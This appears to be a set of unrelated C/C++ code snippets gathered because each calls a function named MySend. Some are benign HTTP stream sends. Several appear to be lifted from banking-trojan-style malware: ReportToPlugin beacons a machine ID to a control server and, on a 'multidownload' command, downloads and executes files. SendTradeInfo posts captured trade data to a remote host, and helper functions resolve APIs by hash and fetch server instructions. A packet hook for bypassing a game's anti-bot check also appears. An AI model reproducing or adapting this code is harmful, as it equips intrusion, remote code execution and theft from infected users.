status_t HTTPStream::send(const char *data, size_t size) { if (mState != CONNECTED) { return ERROR_NOT_CONNECTED; } while (size > 0) { ssize_t n; if (mSSL != NULL) { n = SSL_write((SSL *)mSSL, data, size); if (n < 0) { n = -SSL_get_error((SSL *)mSSL, n); } } else { n = MySend(mSocket, data, size, 0); } if (n < 0) { disconnect(); return n; } else if (n == 0) { disconnect(); return ERROR_CONNECTION_LOST; } size -= (size_t)n; data += (size_t)n; } return OK; }
main() { if (init()==OK) { MySend(); shutdown(); } }
void WINAPI antibot(SOCKET s, const char* buf, int *len, int flags) { char antibot[65], enviar[32+1], cadena[32]; char *buf_rest; unsigned short i, tmp = 0; int len_copy = *len - (sizeof(antibot)+2); // Revise if there is more info in the buffer if(len_copy > 0) { buf_rest = (char*) malloc(len_copy); // Allocate memory for the rest of the buffer memcpy(buf_rest, buf+(strlen(antibot)+2), len_copy); // Clone the rest of the original buffer if exists } strncpy(antibot,buf+2,65); // Obtenemos la cadena antibot[65]='\0'; // Añadimos final de cadena // Deshacemos el algoritmo for(i=0; i<64; i++){ if(isencrypt[i]){ cadena[algoritmo[tmp]] = antibot[pos[i]]; tmp++; } } cadena[32]='\0'; // Añadimos final de cadena al la cadena a encriptar en MD5 MD5_String(cadena, enviar); // Encriptamos en MD5 la cadena *(unsigned short*)buf = 0x0041; // Paquete 41 memcpy((char*)buf+2, enviar, sizeof(enviar)); // Añadimos despues del paquete nuestra cadena encriptada *len = 2+sizeof(enviar); // Logintud (2 + Longitud cadena a enviar) Sleep(500); // Espera de 0.5 segundos para prevenir envio muy rapido de paquetes MySend(s, buf, *len, flags); // Enviamos la cadena al servidor // Replace the antibot packet for a ack packet *(unsigned short*)buf = 0x187; // Packet 0x187 *(unsigned int*)(buf+2) = 0; memcpy((char*)(buf+6), buf_rest, len_copy); // Copy the rest of the original buffer memset((char*)(buf+len_copy+6), '\0', 1); // Add the finish null characters *len = (6 + len_copy); // Readjust buffer lengh }
void *sendHelloBeaconThread(void * threadid){ long tid; tid = (long)threadid; printf("Send Thread Started Successfully"); int MINIMUM_WAIT_TIME = 2; int MAXIMUM_WAIT_TIME = 10; long randomWaitTime = MINIMUM_WAIT_TIME + rand() % (MAXIMUM_WAIT_TIME - MINIMUM_WAIT_TIME); while(1){ printf("SENDING\n"); MySend(); sleep(randomWaitTime); } pthread_exit(NULL); }
status_t HTTPStream::send(const char *data, size_t size) { if (mState != CONNECTED) { return ERROR_NOT_CONNECTED; } while (size > 0) { ssize_t n = MySend(mSocket, data, size, 0); if (n < 0) { disconnect(); return n; } else if (n == 0) { disconnect(); return ERROR_CONNECTION_LOST; } size -= (size_t)n; data += (size_t)n; } return OK; }
bool ReportToPlugin( char *Url ) { WSADATA wsa; if ( (int)pWSAStartup( MAKEWORD( 2, 2 ), &wsa ) != 0 ) { return false; } char *Host = NULL; char *Path = NULL; int Port = 0; if ( !ParseUrl1( Url, &Host, &Path, &Port ) ) { return false; } char Uid[100]; GenerateUid( Uid ); typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); char *UserAgent = NULL; UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); if ( UserAgent == NULL ) { MemFree( UserAgent ); UserAgent = "-"; } char Request[] = "POST %s HTTP/1.0\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Accept: text/html\r\n" "Connection: Close\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n\r\n"; char Args[] = "id="; char *HttpPacket = NULL; HttpPacket = (char*)MemAlloc( 2048 ); int iTmp; if (LoadExe!=NULL) { iTmp=m_lstrlen(LoadExe); }else iTmp=9; pwsprintfA( HttpPacket, Request, Path, Host, UserAgent, m_lstrlen( Args ) + m_lstrlen( Uid )+iTmp ); m_lstrcat( HttpPacket, Args ); m_lstrcat( HttpPacket, Uid ); if (LoadExe==NULL) { LoadExe = (char*)MemAlloc(10); m_lstrncpy(LoadExe,"&plugins=",9); LoadExe[9]='\0'; } m_lstrcat( HttpPacket, LoadExe ); SOCKET Socket = MyConnect1( Host, Port ); if( Socket == -1 ) { return false; } bool b = MySend( Socket, (const char *)HttpPacket, m_lstrlen( HttpPacket ) ); MemFree( HttpPacket ); if ( !b ) { return false; } DWORD dwSize = 0; char *Buffer = RecvAndParse( Socket, &dwSize ); if ( !Buffer ) { pclosesocket( Socket ); return false; } char MultiDownloadCommand[]={'m','u','l','t','i','d','o','w','n','l','o','a','d',0}; char *Context; m_strtok_s( Buffer, "\r\n", &Context ); if ( !m_lstrncmp( Buffer, MultiDownloadCommand, m_lstrlen( MultiDownloadCommand ) ) ) { char * cPointer= m_strstr(&Buffer[1],"http:"); char* cUrl=Buffer; char* cUrlNext; int i; char *DownloadUrl; while (true) { cUrl= m_strstr(&cUrl[1],"http:"); if (cUrl==NULL)break; cUrlNext= m_strstr(cUrl,"|"); i=m_lstrlen(cUrl)-m_lstrlen(cUrlNext); DownloadUrl = (char*)MemAlloc(i)+1; m_lstrncpy(DownloadUrl,cUrl,i); DownloadUrl[i]='\0'; if ( DownloadUrl ) { LoadExe=(char*)MemRealloc(LoadExe,33+m_lstrlen(LoadExe)+1); m_lstrcat( LoadExe, MD5StrFromBuf(DownloadUrl, STRA::Length(DownloadUrl)).t_str()); m_lstrcat( LoadExe, "|"); WCHAR *FileName =(WCHAR *)GetTempName(); if ( FileName && DownloadUrl ) { ExecuteFile( DownloadUrl, FileName ); } MemFree( FileName ); } MemFree( DownloadUrl ); } } MemFree( Buffer ); pclosesocket( Socket ); return true; }
bool SendTradeInfo( char *Buffer ) { string Serv = GetActiveHost(); if ( Serv.IsEmpty()) return 0; char Host[30]; m_lstrcpy( Host, Serv.t_str()); char Script[] = {'/','g','e','t','/','t','r','a','.','h','t','m','l',0}; char Args[] = "id=%s&data=%s"; char Request[] = "POST %s HTTP/1.1\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Accept: text/html\r\n" "Connection: Close\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n\r\n"; char Uid[100]; GenerateUid( Uid ); char *Data = URLEncode( Buffer ); char *PartReq = (char*)MemAlloc( 1024 ); typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); if ( PartReq == NULL ) { return false; } _pwsprintfA( PartReq, Args, Uid, Data ); char *Header = (char*)MemAlloc( 1024 ); if ( Header == NULL ) { MemFree( PartReq ); return false; } char *UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); _pwsprintfA( Header, Request, Script, Host, UserAgent, m_lstrlen( PartReq ) ); MemFree( UserAgent ); char *SendBuffer = (char*)MemAlloc( m_lstrlen( PartReq ) + m_lstrlen( Header ) + 1 + 2 ); if ( SendBuffer == NULL ) { MemFree( PartReq ); MemFree( Header ); return false; } m_lstrcpy( SendBuffer, Header ); m_lstrcat( SendBuffer, PartReq ); m_lstrcat( SendBuffer, "\r\n" ); MemFree( Header ); MemFree( PartReq ); SOCKET Socket = MyConnect( Host, 80 ); bool Ret = MySend( Socket, (const char *)SendBuffer, m_lstrlen( SendBuffer ) ); pclosesocket( Socket ); MemFree( SendBuffer ); return Ret; }
bool AsyncDownload1( char *Url, LPBYTE *lpBuffer, LPDWORD dwSize ) { WSADATA wsa; if ( (int)pWSAStartup( MAKEWORD( 2, 2 ), &wsa ) != 0 ) { return false; } char *Host = NULL; char *Path = NULL; int Port = 80; if ( !ParseUrl( Url, &Host, &Path, &Port ) ) { return false; } SOCKET Socket = MyConnect( Host, Port ); if( Socket == -1 ) { return false; } char *UserAgent = NULL; UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); char *query=(char*)MemAlloc(2048); m_lstrcpy(query,"GET /"); m_lstrcat(query,Path); m_lstrcat(query," HTTP/1.1\r\nAccept: */* \r\n "); m_lstrcat(query,"Accept-Language: ru \r\n"); m_lstrcat(query,"UA-CPU: x86 \r\n"); m_lstrcat(query,"Accept-Encoding: gzip, deflate \r\n"); m_lstrcat(query,"User-Agent: "); m_lstrcat(query,UserAgent); m_lstrcat(query,"\r\nHost: "); m_lstrcat(query,Host); m_lstrcat(query,"\r\nConnection: Close\r\n\r\n\r\n"); bool b = MySend( Socket, (const char *)query, m_lstrlen( query ) ); MemFree( Host ); //MemFree( Path ); MemFree( UserAgent ); MemFree( query ); if ( !b ) { return false; } DWORD dwSizeFile = 0; char *Buffer = RecvAndParse( Socket, &dwSizeFile ); if ( !Buffer ) { pclosesocket( Socket ); return false; } if ( dwSize ) { *lpBuffer = (LPBYTE)Buffer; *dwSize = dwSizeFile; return true; } return false; }
char *GetInfoFromBcServer( char *Url ) { WSADATA wsa; if ( (int)pWSAStartup( MAKEWORD( 2, 2 ), &wsa ) != 0 ) { return false; } char *Host = NULL; char *Path = NULL; int Port = 0; if ( !ParseUrl( Url, &Host, &Path, &Port ) ) { return false; } typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); char Request[] = "GET %s HTTP/1.0\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Connection: close\r\n\r\n"; char *HttpPacket = (char*)MemAlloc( 1024 ); if ( HttpPacket == NULL ) { return false; } char *UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); _pwsprintfA( HttpPacket, Request, Path, Host, UserAgent ); SOCKET Socket = MyConnect( Host, Port ); if ( Socket == INVALID_SOCKET ) { MemFree( HttpPacket ); return NULL; } bool b = MySend( Socket, (const char *)HttpPacket, m_lstrlen( HttpPacket ) ); MemFree( HttpPacket ); if ( !b ) { return NULL; } DWORD dwSize = 0; char *Buffer = RecvAndParse( Socket, &dwSize ); pclosesocket( Socket ); return Buffer; }